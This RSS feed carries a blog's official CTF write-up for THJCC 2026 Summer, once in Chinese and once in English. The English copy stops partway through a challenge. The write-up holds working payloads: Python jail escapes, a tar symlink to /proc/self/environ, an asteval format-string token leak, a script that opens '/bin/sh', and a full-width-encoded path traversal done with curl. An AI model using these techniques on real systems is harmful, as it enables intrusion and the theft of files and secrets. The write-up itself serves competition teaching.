<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="/rss/rss-styles.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>xzhiyouu&#039;s Blog</title>
    <description>xzhiyouu&#039;s personal blog, sharing insights and projects related to web development, programming, and technology.</description>
    <link>https://www.xzhiyouu.idv.tw</link>
    <language>en</language>
    <managingEditor>xzhiyouu</managingEditor>
    <webMaster>xzhiyouu</webMaster>
    <author>xzhiyouu</author>
    <pubDate>2026-09-01T11:00:53.931Z</pubDate>
    <lastBuildDate>2026-09-01T11:00:53.931Z</lastBuildDate>
    <generator>Astro</generator>
    <atom:link href="https://www.xzhiyouu.idv.tw/rss.xml" rel="self" type="application/rss+xml" />
    
    <item>
      <title>THJCC 2026 Summer — Official Writeup (zh-TW)</title>
      <link>https://www.xzhiyouu.idv.tw/posts/thjcc-2026-summer-official-writeup</link>
      <guid>https://www.xzhiyouu.idv.tw/posts/thjcc-2026-summer-official-writeup</guid>
      <updated>2026-08-20T00:00:00.000Z</updated>
      <pubDate>2026-08-20T00:00:00.000Z</pubDate>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<img src="https://www.xzhiyouu.idv.tw/_astro/cover.BBM5WyHX_Z1vMmvw.webp" alt="THJCC 2026 Summer — Official Writeup (zh-TW)" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h2>Before all</h2>
<p>雖然這是辦給新手的比賽，但現在 AI/LLM 發展實在是太快了，也就導致許多題目很多參賽者都沒看就直接給 AI 做，我還是希望有能力的各位可以動手解解看XD，希望這次在 THJCC 出的題目大家可以喜歡~</p>
<h2>Welcome</h2>
<ul>
<li>solve: 149/315</li>
</ul>
<p>好像有人反映這題出的不太好，作為簽到題我覺得難度應該沒有很難，如果直接丟給 AI 的話八成會卡一陣子。<br />
題目只給你一個 gif，我們知道 gif 是多張圖片連續播放，形成無限循環的動態短片，所以到網路上 google 一下不難找到一些 gif 分解的網站，隨便找一個都可以，然後可以得到 <code>https://welcome.xzhiyouu.idv.tw;pass_code:NT9C-S8DP-D85B-Z8H6</code>，進到網站裡把 passcode 複製貼上就可以拿到 <a href="https://pastebin.com/DUxM02Gp" rel="noopener noreferrer" target="_blank">https://pastebin.com/DUxM02Gp</a> ，進去就有flag了。
<img src="https://hackmd.io/_uploads/Hyp_b-Nwfl.gif" alt="welcome" /></p>
<h2>Misc</h2>
<h3>67jail</h3>
<ul>
<li>solve: 124/315</li>
</ul>
<p>題目檔案如下</p>
<pre><code>#!/usr/bin/env python3
import unicodedata
banned = {"print": print, "open": open, "chr": chr}

s = input("&gt;&gt; ")

if len(s) != 6767:
    exit("wrong length :(")

if any(c in s for c in "'\"_`\\#"):
    exit("that's not good :(")

if any(c.isascii() and c.isalnum() for c in s):
    exit("no no no!!!")

if s.count(";") &gt; 1:
    exit("too many semicolons!")

for c in s:
    if c.isidentifier() and unicodedata.normalize("NFKC", c) == c:
        exit("bad:(((")

exec(s, {"__builtins__": banned}, {})
</code></pre>
<p>給了一個允許名單(我變數打成banned)，我們能用的就是<code>print</code>、<code>open</code>、<code>chr</code>，接著有五個 if 檢查：</p>
<ol>
<li>輸入長度必須為 6767</li>
<li>輸入不能出現任何 <code>'</code>、<code>"</code>、<code>_</code>、<code>\</code>、<code>#</code> 中任一者</li>
<li>輸入內不能有 ASCII 英文字母和數字</li>
<li>分號最多一個</li>
<li>輸入中不能出現合法且經 NFKC 正規化後不變的 Python 識別符字元</li>
</ol>
<p>先看第五點檢查，我們要找到NFKC 後不變的字元，不難想到可以用全形繞過。</p>
<pre><code>&gt;&gt;&gt; 'ｐ'.isidentifier()
True
&gt;&gt;&gt; unicodedata.normalize("NFKC", 'ｐ') == 'ｐ'
False
</code></pre>
<p>接著看第三點，輸入中不能有 ASCII 英文字母和數字，可以想到在 Python 裡面 True 就是 1，所以可以用 <code>()==()</code> 、<code>[]==[]</code>、<code>{}=={}</code> 代表 1，以上三種都可以使用。</p>
<p>那要怎麼造出其他數字呢？我們利用 Python 的特性：</p>
<pre><code>ｔ=()==() # t = 1
</code></pre>
<p>接著用 <code>&lt;&lt;</code> 可以造出二次方，一樣用 <code>t</code> 當變數，例如：</p>
<pre><code>ｔ&lt;&lt;ｔ            # 2
ｔ&lt;&lt;ｔ&lt;&lt;ｔ        # 4
ｔ&lt;&lt;ｔ&lt;&lt;ｔ&lt;&lt;ｔ    # 8
</code></pre>
<p>以此類推，結合加法就可以造出任意數字。
我們的目標是組出 <code>print(open('/flag').read())</code>，因此可以寫個簡單的腳本生 payload，把以上資訊結合後，補空白到長度 6767 即可。</p>
<ul>
<li><code>payload.py</code></li>
</ul>
<pre><code>#!/usr/bin/env python3
def z(s):
    return ''.join(chr(ord(c) + 0xFEE0) if c.isalpha() else c for c in s)

t = z('t')

def num(n):
    r, i = [], 0
    while n:
        if n &amp; 1:
            r.append('(' + '&lt;&lt;'.join([t] * (i + 1)) + ')')
        n &gt;&gt;= 1
        i += 1
    return '+'.join(r)

def ch(c):
    return z('chr') + '(' + num(ord(c)) + ')'

payload = t + '=()==();'
payload += z('print') + '('
payload += z('open') + '(' + '+'.join(ch(c) for c in '/flag') + ').' + z('read') + '())'
payload += ' ' * (6767 - len(payload))
print(payload)
</code></pre>
<p>另外表揚一下 <a href="https://r3xdj.pages.dev/2026/08/17/2026-THJCC-CTF-Summer-Edition-Writeup/" rel="noopener noreferrer" target="_blank">R3X DJ</a> 寫的很詳細XD</p>
<h3>Time Machine</h3>
<ul>
<li>solve: 49/315</li>
</ul>
<p>這題沒給 source，可以看到這是一個可以上傳 <code>.zip</code> / <code>.tar</code> / <code>.tar.gz</code> / <code>.tgz</code> / <code>.tar.bz2</code> / <code>.tar.xz</code> 的系統，然後 Snapshot 把你上傳的所有東西打包成 <code>snapshot.zip</code> 下載。</p>
<p>題目有說後端是用 Python 的 shutil，原始碼在這 (<a href="https://github.com/python/cpython/blob/3.13/Lib/shutil.py" rel="noopener noreferrer" target="_blank">source</a>)。</p>
<p><code>shutil.unpack_archive()</code> 會依副檔名查 <code>_UNPACK_FORMATS</code>，決定要交給誰處理：</p>
<pre><code>_UNPACK_FORMATS = {
    'tar':   (['.tar'], _unpack_tarfile, [], "uncompressed tar file"),
    'zip':   (['.zip'], _unpack_zipfile, [], "ZIP file"),
}
</code></pre>
<p>也就是說 zip 走 <code>_unpack_zipfile</code>，tar 走 <code>_unpack_tarfile</code>，先看看 zip 他是怎麼寫的：</p>
<pre><code>def _unpack_zipfile(filename, extract_dir):
    """Unpack zip `filename` to `extract_dir`"""
    import zipfile  # late import for breaking circular dependency

    if not zipfile.is_zipfile(filename):
        raise ReadError("%s is not a zip file" % filename)

    with zipfile.ZipFile(filename) as zip:
        zip._ignore_invalid_names = True
        zip.extractall(extract_dir)
</code></pre>
<p>tar 如下：</p>
<pre><code>def _unpack_tarfile(filename, extract_dir, *, filter=None):
    """Unpack tar/tar.gz/tar.bz2/tar.xz `filename` to `extract_dir`"""
    import tarfile  # late import for breaking circular dependency
    try:
        tarobj = tarfile.open(filename)
    except tarfile.TarError:
        raise ReadError(
            "%s is not a compressed or uncompressed tar file" % filename)
    try:
        tarobj.extractall(extract_dir, filter=filter)
    finally:
        tarobj.close()
</code></pre>
<p>可以發現 <code>_unpack_zipfile()</code> 擋掉 <code>/</code> 開頭和 <code>..</code>，而且都是 <code>open(targetpath, 'wb')</code> + <code>copyfileobj</code> 寫成普通檔案，接著看到 tar，會發現沒有任何名字檢查，而且<code>filter=None</code>，因此我們可以利用 tar 去 symlink 任何 file。</p>
<p>這題的 flag 在環境變數裡面，我們可以用簡單的 linux 指令就完成這題。</p>
<ol>
<li><code>ln -s /proc/self/environ test.txt</code></li>
<li><code>tar -cf solve.tar test.txt</code></li>
</ol>
<p>接著把 <code>solve.tar</code> 傳上去再 snapshot 下來就可以看到 flag 了。</p>
<h3>SO EZ MISC</h3>
<ul>
<li>solve: 26/315</li>
</ul>
<p>首先連上去看看，會發現是一個 calculator，隨便送一個非 UTF-8 看報錯：</p>
<pre><code>printf '\xfe\n' | nc HOST PORT
</code></pre>
<p>結果：</p>
<pre><code>calc&gt; Traceback (most recent call last):
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 277, in parse
    out = ast.parse(text)
  File "/usr/local/lib/python3.13/ast.py", line 50, in parse
    return compile(source, filename, mode, flags,
                   _feature_version=feature_version, optimize=optimize)
UnicodeEncodeError: 'utf-8' codec can't encode character '\udcfe' in position 0: surrogates not allowed

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 354, in eval
    node = self.parse(expr)
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 281, in parse
    self.raise_exception(None, exc=RuntimeError, expr=text)
    ~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 264, in raise_exception
    raise exc(self.error_msg)
RuntimeError

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/srv/server.py", line 130, in &lt;module&gt;
    main()
    ~~~~^^
  File "/srv/server.py", line 126, in main
    print(evaluate(interp, line), flush=True)
          ~~~~~~~~^^^^^^^^^^^^^^
  File "/srv/server.py", line 107, in evaluate
    result = interp(src, raise_errors=False)
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 344, in __call__
    return self.eval(expr, **kw)
           ~~~~~~~~~^^^^^^^^^^^^
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 363, in eval
    print(errmsg, file=self.err_writer)
    ~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
UnicodeEncodeError: 'utf-8' codec can't encode character '\udcfe' in position 0: surrogates not allowed
</code></pre>
<p>總之可以發現他是 Python 的 asteval，然後 Python 版本是 3.13，去翻一下原始碼(<a href="https://github.com/lmfit/asteval/blob/master/asteval/asteval.py" rel="noopener noreferrer" target="_blank">source</a>)，然後發現 asteval 這個 lib 有一個 <a href="https://github.com/lmfit/asteval/security/advisories/GHSA-3wwr-3g9f-9gc7" rel="noopener noreferrer" target="_blank">CVE</a>，重點在最後：</p>
<pre><code>def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')
    "formatting used in f-strings"
    val = self.run(node.value)
    fstring_converters = {115: str, 114: repr, 97: ascii}
    if node.conversion in fstring_converters:
        val = fstring_converters[node.conversion](val)
    fmt = '{__fstring__}'
    if node.format_spec is not None:
        fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'
    return safe_format(fmt, self.raise_exception, node, __fstring__=val)
</code></pre>
<p>根據題目說 <code>The bug has no patch</code>，所以直接照 advisory 的 PoC 打是不會過的，因為那份 PoC 在 1.0.6 就被擋掉了，而目前題目跑的是 1.0.9。去比對一下現在的 <code>on_formattedvalue</code>，會發現最後一行被換掉了：</p>
<pre><code># 1.0.6
return fmt.format(__fstring__=val)

# 1.0.9
return safe_format(fmt, self.raise_exception, node, __fstring__=val)
</code></pre>
<p>1.0.9 只是把原本 <code>fmt.format</code> 改成自己的 <code>safe_format</code>，format_spec 還是先被 <code>self.run()</code> 求值成字串，再用 f-string 字串串接拼回模板裡。</p>
<p>那 SafeFormatter 到底擋了什麼？我們回原始碼繼續看：</p>
<pre><code>class SafeFormatter(Formatter):
    def __init__(self, raise_exc, node):
        self.raise_exc = raise_exc
        self.node = node
        super().__init__()

    def get_field(self, field_name, args, kwargs):
        first, rest = formatter_field_name_split(field_name)
        obj = self.get_value(first, args, kwargs)
        for is_attr, i in rest:
            if is_attr:
                obj = safe_getattr(obj, i, self.raise_exc, self.node)
            else:
                obj = obj[i]
        return obj, first
</code></pre>
<p>跟去看 <code>safe_getattr</code>：</p>
<pre><code>def safe_getattr(obj, attr, raise_exc, node, allow_unsafe_modules=False):
    """safe version of getattr"""
    unsafe = (attr in UNSAFE_ATTRS or
            (attr.startswith('__') and attr.endswith('__')))
    if not unsafe:
        for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():
            unsafe = (isinstance(obj, dtype) or obj is dtype) and attr in attrlist
            if unsafe:
                break
    if not unsafe and not allow_unsafe_modules:
        for mod in UNSAFE_MODULES:
            unsafe = obj is mod or getattr(obj, attr) is mod
            if unsafe:
                break
    if unsafe:
        msg = f"no safe attribute '{attr}' for {repr(obj)}"
        raise_exc(node, exc=AttributeError, msg=msg)
    else:
        return getattr(obj, attr, None)
</code></pre>
<p>發現他只擋了 <code>__</code>，但任意物件走訪還能進行，連上題目看看：</p>
<pre><code>calc&gt; WB
Workbook(name='Q3-Financials', sheets={'summary': Sheet(title='Summary', owner=User(name='guest', role='viewer', session=Session(id='sess-0000', token=&lt;Secret value=***REDACTED***&gt;)), cells={'A1': 42, 'A2': 1337}), 'audit': Sheet(title='Audit Trail', owner=User(name='auditor', role='root', session=Session(id='sess-c0ffee', token=&lt;Secret value=***REDACTED***&gt;)), cells={'A1': 0})})
</code></pre>
<p>我們的目標是拿到 <code>WB.sheets["audit"].owner.session.token.value</code>，送過去後發現 <code>error: banned character '['</code>，我們不難想到可以用 <code>chr()</code> 去繞過，payload 構造大概長這樣 <code>f"{WB:SPEC}"</code>，其中 SPEC 為 <code>'}{__fstring__.sheets[audit].owner.session.token.value'</code>，最後拼起來得到 <code>{__fstring__:}{__fstring__.sheets[audit].owner.session.token.value}</code>，得最終 payload <code>f"{WB:{'}{__fstring__.sheets[audit].owner.session.token.value'}}"</code>，一些被 ban 的字元轉 <code>chr()</code>，得到<code>f"{WB:{"}{"+chr(95)*2+"fstring"+chr(95)*2+".sheets"+chr(91)+"audit"+chr(93)+".owner.session.token.value"}}"</code></p>
<h3>CTFxck</h3>
<ul>
<li>solve: 14/315</li>
</ul>
<p>也是一題 jail 題型，題目給了以下資訊：</p>
<ol>
<li>server 跑的是 ctfuck interpreter</li>
<li>送一段 CTFuck 程式過去，最後一行 EOF</li>
<li>它印出來的東西 server 會 exec()</li>
</ol>
<p>關於 CTFuck 可以參考這裡：<a href="https://esolangs.org/wiki/CTFuck" rel="noopener noreferrer" target="_blank">https://esolangs.org/wiki/CTFuck</a></p>
<p>題目我有設定輸入長度不能超過 110，也就是說 wiki 上面的例子沒啥參考性，這裡我有兩個選擇，第一是 <code>breakpoint()</code>，第二是 <code>exec(input())</code>，這樣問題就變成怎麼用最少的 CTFuck 字元印出 12～13 個 byte？</p>
<p>先看 wiki 的寫法。印一個 byte 的直覺做法是 push 8 個 bit，再一個一個走訪：</p>
<pre><code>01001000
.$.$.$.$.$.$.$.$
</code></pre>
<p>8 + 1 + 16 = 25 個字元才印一個 byte，這樣沒辦法把 payload 壓到 110 以下，所以我們應該回去看 <a href="https://github.com/pro465/ctfuck/blob/9f343df145455f3c2604bbb79789d0b3aa32c601/src/main.rs" rel="noopener noreferrer" target="_blank">interpreter</a>，有一點可以注意一下，queue 空的時候執行 <code>$</code> <code>.</code> <code>:</code> <code>[a|b]</code>，整個程式就結束，所以不用一個一個 bit 去走訪，直接把整個 payload 的 bit 全部 push 進 queue，然後排乾就可以，大概長這樣：</p>
<pre><code>&lt;payload 的 bits&gt;
.$[2|2]
</code></pre>
<p><code>.</code> 印 front 但不會 pop，所以要接 <code>$</code>。<code>[2|2]</code> 不管 0 還 1 都跳回第二行，無限迴圈，queue 空了就自己停。</p>
<ul>
<li>solve script</li>
</ul>
<pre><code>#!/usr/bin/env python3
from pwn import *

def compile(payload):
    bits = ""
    for c in payload:
        for i in range(8):
            bits += str(c &gt;&gt; i &amp; 1)
    return bits.rstrip("0") + "\n.$[2|2]"

src = compile(b"exec(input())")

io = remote(HOST, PORT)
io.sendlineafter(b"&gt;&gt;&gt; ", src.encode() + b"\nEOF")
io.sendline(b"import os;os.system('/bin/sh')")
io.interactive()
</code></pre>
<h3>Shifting…v2?</h3>
<ul>
<li>solve: 3/315</li>
</ul>
<p>上次的 writeup: <a href="https://hackmd.io/@xzhiyouu/THJCC-2026" rel="noopener noreferrer" target="_blank">https://hackmd.io/@xzhiyouu/THJCC-2026</a>
基本上是一樣的做法，之後可以得到一個 pastebin 連結 <a href="https://pastebin.com/D15r3g" rel="noopener noreferrer" target="_blank">https://pastebin.com/D15r3g</a> ，很多人在這裡就卡關了，如果自己創一個 pastebin 看看的話，會發現其實連結後面的 code 應該要有八個字元，所以寫個 script 去爆破一下就好，最後可以得到 <a href="https://pastebin.com/D15r3grG" rel="noopener noreferrer" target="_blank">https://pastebin.com/D15r3grG</a> ，打開就是 flag。</p>
<h2>Web</h2>
<h3>SimpleNotes</h3>
<ul>
<li>solve: 21/315</li>
</ul>
<p>Web 黑箱題，進去之後會發現是一個 note app，目標是讀 <code>/flag</code>，所以很明顯是 path traversal，這邊直接用原始碼解釋：</p>
<ul>
<li>NoteController.java</li>
</ul>
<pre><code>package tw.thjcc.simplenotes;

import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.io.File;
import java.io.IOException;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

@RestController
public class NoteController {

    private static final File NOTE_DIR = new File("/app/notes");

    @GetMapping(value = "/api/notes", produces = MediaType.APPLICATION_JSON_VALUE)
    public List&lt;String&gt; list() {
        File[] files = NOTE_DIR.listFiles(File::isFile);
        if (files == null) {
            return Collections.emptyList();
        }
        List&lt;String&gt; names = new ArrayList&lt;&gt;();
        for (File f : files) {
            names.add(f.getName());
        }
        Collections.sort(names);
        return names;
    }

    @GetMapping(value = "/api/read", produces = MediaType.TEXT_PLAIN_VALUE + ";charset=UTF-8")
    public ResponseEntity&lt;String&gt; read(@RequestParam("f") String f) throws IOException {
        String name = URLDecoder.decode(f, StandardCharsets.UTF_8);

        File target = new File(NOTE_DIR, name);
        if (!target.isFile()) {
            return ResponseEntity.status(404).body("note not found: " + name);
        }

        byte[] data = Files.readAllBytes(target.toPath());
        return ResponseEntity.ok(new String(data, StandardCharsets.UTF_8));
    }
}
</code></pre>
<ul>
<li>PathGuardFilter.java</li>
</ul>
<pre><code>package tw.thjcc.simplenotes;

import jakarta.servlet.Filter;
import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletResponse;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.regex.Pattern;

public class PathGuardFilter implements Filter {

    private static final Pattern[] RULES = {
            Pattern.compile("\\.\\."),
            Pattern.compile("(?i)%2e"),
            Pattern.compile("(?i)%2f"),
            Pattern.compile("(?i)%5c"),
            Pattern.compile("\\\\"),
            Pattern.compile("^/"),
            Pattern.compile("\\x00")
    };

    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
            throws IOException, ServletException {

        HttpServletRequest request = (HttpServletRequest) req;

        if (rejected(request.getQueryString())) {
            block((HttpServletResponse) res);
            return;
        }
        for (String[] values : request.getParameterMap().values()) {
            for (String value : values) {
                if (rejected(value)) {
                    block((HttpServletResponse) res);
                    return;
                }
            }
        }

        chain.doFilter(req, res);
    }

    private boolean rejected(String input) {
        if (input == null || input.isEmpty()) {
            return false;
        }
        for (Pattern rule : RULES) {
            if (rule.matcher(input).find()) {
                return true;
            }
        }
        return false;
    }

    private void block(HttpServletResponse response) throws IOException {
        response.setStatus(HttpServletResponse.SC_FORBIDDEN);
        response.setContentType("text/plain;charset=UTF-8");
        response.setCharacterEncoding(StandardCharsets.UTF_8.name());
        response.getWriter().write("u are blocked XD");
    }

    @Configuration
    public static class Registration {
        @Bean
        public FilterRegistrationBean&lt;PathGuardFilter&gt; pathGuard() {
            FilterRegistrationBean&lt;PathGuardFilter&gt; bean = new FilterRegistrationBean&lt;&gt;();
            bean.setFilter(new PathGuardFilter());
            bean.addUrlPatterns("/api/*");
            bean.setOrder(1);
            return bean;
        }
    }
}
</code></pre>
<p>我們仔細看看 NoteController.java 第 39 行：</p>
<pre><code>String name = URLDecoder.decode(f, StandardCharsets.UTF_8);
</code></pre>
<p>filter 檢查的是 Tomcat 解完的參數值，controller 拿到之後又自己解了一次，兩邊看到的字串其實不一樣。所以只要找一個 filter 的 regex 看不出來是 <code>../</code>、但 <code>URLDecoder</code> 解得出來的寫法就 ok。</p>
<p>翻一下 JDK 17 的 <code>URLDecoder.decode()</code>，處理 <code>%</code> 的迴圈長這樣(<a href="https://github.com/openjdk/jdk/blob/master/src/java.base/share/classes/java/net/URLDecoder.java" rel="noopener noreferrer" target="_blank">source</a>)：</p>
<pre><code>while ( ((i+2) &lt; numChars) &amp;&amp; (c=='%')) {
    int v = Integer.parseInt(s, i + 1, i + 3, 16);
    if (v &lt; 0)
        throw new IllegalArgumentException(...);
    bytes[pos++] = (byte) v;
    i += 3;
    if (i &lt; numChars)
        c = s.charAt(i);
}
</code></pre>
<p>ps. 這題用的是舊版，新的已經修掉了(<a href="https://github.com/openjdk/jdk/commit/03fd43fc91ea383418c1c7e0fd96a61a1f42c75e" rel="noopener noreferrer" target="_blank">link</a>)</p>
<p>重點是 <code>Integer.parseInt(s, i+1, i+3, 16)</code>，他用 <code>Character.digit()</code>，去翻 javadoc會發現他收的是 Unicode 的十進位數字跟拉丁字母，不是只有 ASCII，比如說：</p>
<pre><code>Character.digit('２', 16) == 2      // U+FF12
Character.digit('ｅ', 16) == 14     // U+FF45
</code></pre>
<p>所以 <code>URLDecoder.decode("%２ｅ")</code> 會解成 <code>.</code>，而 payload 就是把 hex 換成全形，<code>%</code> 要留半形，像這樣：</p>
<pre><code>%２ｅ%２ｅ%２ｆ%２ｅ%２ｅ%２ｆflag.txt
</code></pre>
<p>打 api:</p>
<pre><code>curl 'http://chal.thjcc.org:12024/api/read?f=%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%86%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%86flag.txt'
</code></pre>
<p>這題的靈感是來自 black hat Asia 2026(<a href="https://github.com/Mr-xn/BLACKHAT_Asia2026/blob/main/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf" rel="noopener noreferrer" target="_blank">資料</a>)，某天在找資料的時候剛好看到的。</p>]]></content:encoded>
      <author>xzhiyouu62</author>
      <category>CTF</category>
    </item>
    <item>
      <title>THJCC 2026 Summer — Official Writeup (en)</title>
      <link>https://www.xzhiyouu.idv.tw/posts/thjcc-2026-summer-official-writeup-en</link>
      <guid>https://www.xzhiyouu.idv.tw/posts/thjcc-2026-summer-official-writeup-en</guid>
      <updated>2026-08-20T00:00:00.000Z</updated>
      <pubDate>2026-08-20T00:00:00.000Z</pubDate>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<img src="https://www.xzhiyouu.idv.tw/_astro/cover.BBM5WyHX_Z1vMmvw.webp" alt="THJCC 2026 Summer — Official Writeup (en)" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h2>Before all</h2>
<p>Although this competition was designed for beginners, AI/LLMs have been developing so quickly that many participants ended up feeding challenges directly to AI without even looking at them first. I still hope those who are capable can try solving them by themselves XD. Hope everyone enjoyed the challenges I made for THJCC this time~</p>
<h2>Welcome</h2>
<ul>
<li>solve: 149/315</li>
</ul>
<p>Apparently some people said this challenge wasn’t designed very well. As a sanity-check challenge, I don’t think it was supposed to be that difficult, although if you throw it directly at AI, it’ll probably get stuck for a while.</p>
<p>The challenge only gives you a GIF. We know that a GIF is made of multiple images played continuously to form an infinitely looping animation, so it’s not hard to Google for a website that can split GIF frames. Just use any one of them, and you’ll get:</p>
<p><code>https://welcome.xzhiyouu.idv.tw;pass_code:NT9C-S8DP-D85B-Z8H6</code></p>
<p>Open the website, copy and paste the passcode, and you’ll get:</p>
<p><a href="https://pastebin.com/DUxM02Gp" rel="noopener noreferrer" target="_blank">https://pastebin.com/DUxM02Gp</a></p>
<p>Open it and the flag is there.</p>
<img src="https://hackmd.io/_uploads/Hyp_b-Nwfl.gif" alt="welcome" />
<h2>Misc</h2>
<h3>67jail</h3>
<ul>
<li>solve: 124/315</li>
</ul>
<p>The challenge file is as follows:</p>
<pre><code>#!/usr/bin/env python3
import unicodedata
banned = {"print": print, "open": open, "chr": chr}

s = input("&gt;&gt; ")

if len(s) != 6767:
    exit("wrong length :(")

if any(c in s for c in "'\"_`\\#"):
    exit("that's not good :(")

if any(c.isascii() and c.isalnum() for c in s):
    exit("no no no!!!")

if s.count(";") &gt; 1:
    exit("too many semicolons!")

for c in s:
    if c.isidentifier() and unicodedata.normalize("NFKC", c) == c:
        exit("bad:(((")

exec(s, {"__builtins__": banned}, {})
</code></pre>
<p>It gives us an allowlist (I accidentally named the variable <code>banned</code>). The only built-ins we can use are <code>print</code>, <code>open</code>, and <code>chr</code>. Then there are five checks:</p>
<ol>
<li>The input length must be exactly 6767.</li>
<li>The input must not contain any of <code>'</code>, <code>"</code>, <code>_</code>, <code>\</code>, or <code>#</code>.</li>
<li>The input must not contain ASCII letters or digits.</li>
<li>At most one semicolon is allowed.</li>
<li>The input must not contain any valid Python identifier character that remains unchanged after NFKC normalization.</li>
</ol>
<p>Let’s first look at the fifth check. We need characters that change after NFKC normalization, so full-width characters are an obvious way to bypass it.</p>
<pre><code>&gt;&gt;&gt; 'ｐ'.isidentifier()
True

&gt;&gt;&gt; unicodedata.normalize("NFKC", 'ｐ') == 'ｐ'
False
</code></pre>
<p>Next, look at the third check. The input cannot contain ASCII letters or digits. In Python, <code>True</code> is equal to <code>1</code>, so expressions such as <code>()==()</code>, <code>[]==[]</code>, and <code>{}=={}</code> can all represent 1.</p>
<p>Then how do we construct other numbers? We can use Python’s bit-shift behavior:</p>
<pre><code>ｔ=()==() # t = 1
</code></pre>
<p>Using <code>&lt;&lt;</code>, we can construct powers of two. For example, using <code>t</code> as the variable:</p>
<pre><code>ｔ&lt;&lt;ｔ            # 2
ｔ&lt;&lt;ｔ&lt;&lt;ｔ        # 4
ｔ&lt;&lt;ｔ&lt;&lt;ｔ&lt;&lt;ｔ    # 8
</code></pre>
<p>And so on. By combining these with addition, we can construct arbitrary integers.</p>
<p>Our goal is to build:</p>
<p><code>print(open('/flag').read())</code></p>
<p>So we can write a simple script to generate the payload. After combining everything above, we just pad it with spaces until the total length reaches 6767.</p>
<ul>
<li><code>payload.py</code></li>
</ul>
<pre><code>#!/usr/bin/env python3
def z(s):
    return ''.join(chr(ord(c) + 0xFEE0) if c.isalpha() else c for c in s)

t = z('t')

def num(n):
    r, i = [], 0
    while n:
        if n &amp; 1:
            r.append('(' + '&lt;&lt;'.join([t] * (i + 1)) + ')')
        n &gt;&gt;= 1
        i += 1
    return '+'.join(r)

def ch(c):
    return z('chr') + '(' + num(ord(c)) + ')'

payload = t + '=()==();'
payload += z('print') + '('
payload += z('open') + '(' + '+'.join(ch(c) for c in '/flag') + ').' + z('read') + '())'
payload += ' ' * (6767 - len(payload))
print(payload)
</code></pre>
<p>Also, shoutout to <a href="https://r3xdj.pages.dev/2026/08/17/2026-THJCC-CTF-Summer-Edition-Writeup/" rel="noopener noreferrer" target="_blank">R3X DJ</a> for writing a very detailed writeup XD.</p>
<h3>Time Machine</h3>
<ul>
<li>solve: 49/315</li>
</ul>
<p>This challenge does not provide source code. We can see that the system allows uploading <code>.zip</code>, <code>.tar</code>, <code>.tar.gz</code>, <code>.tgz</code>, <code>.tar.bz2</code>, and <code>.tar.xz</code> files. The Snapshot feature then packages everything you uploaded into a <code>snapshot.zip</code> for download.</p>
<p>The challenge tells us that the backend uses Python’s <code>shutil</code>. The source code is here:</p>
<p><a href="https://github.com/python/cpython/blob/3.13/Lib/shutil.py" rel="noopener noreferrer" target="_blank">source</a></p>
<p><code>shutil.unpack_archive()</code> checks <code>_UNPACK_FORMATS</code> based on the file extension and decides which unpacking function to use:</p>
<pre><code>_UNPACK_FORMATS = {
    'tar':   (['.tar'], _unpack_tarfile, [], "uncompressed tar file"),
    'zip':   (['.zip'], _unpack_zipfile, [], "ZIP file"),
}
</code></pre>
<p>So ZIP files go through <code>_unpack_zipfile</code>, while TAR files go through <code>_unpack_tarfile</code>.</p>
<p>Let’s first look at the ZIP implementation:</p>
<pre><code>def _unpack_zipfile(filename, extract_dir):
    """Unpack zip `filename` to `extract_dir`"""
    import zipfile  # late import for breaking circular dependency

    if not zipfile.is_zipfile(filename):
        raise ReadError("%s is not a zip file" % filename)

    with zipfile.ZipFile(filename) as zip:
        zip._ignore_invalid_names = True
        zip.extractall(extract_dir)
</code></pre>
<p>The TAR implementation is:</p>
<pre><code>def _unpack_tarfile(filename, extract_dir, *, filter=None):
    """Unpack tar/tar.gz/tar.bz2/tar.xz `filename` to `extract_dir`"""
    import tarfile  # late import for breaking circular dependency
    try:
        tarobj = tarfile.open(filename)
    except tarfile.TarError:
        raise ReadError(
            "%s is not a compressed or uncompressed tar file" % filename)
    try:
        tarobj.extractall(extract_dir, filter=filter)
    finally:
        tarobj.close()
</code></pre>
<p>We can see that <code>_unpack_zipfile()</code> prevents paths beginning with <code>/</code> and paths containing <code>..</code>. It also writes entries as regular files using <code>open(targetpath, 'wb')</code> together with <code>copyfileobj</code>.</p>
<p>However, TAR extraction performs no filename validation, and <code>filter=None</code>, which means we can use a TAR archive to create symlinks to arbitrary files.</p>
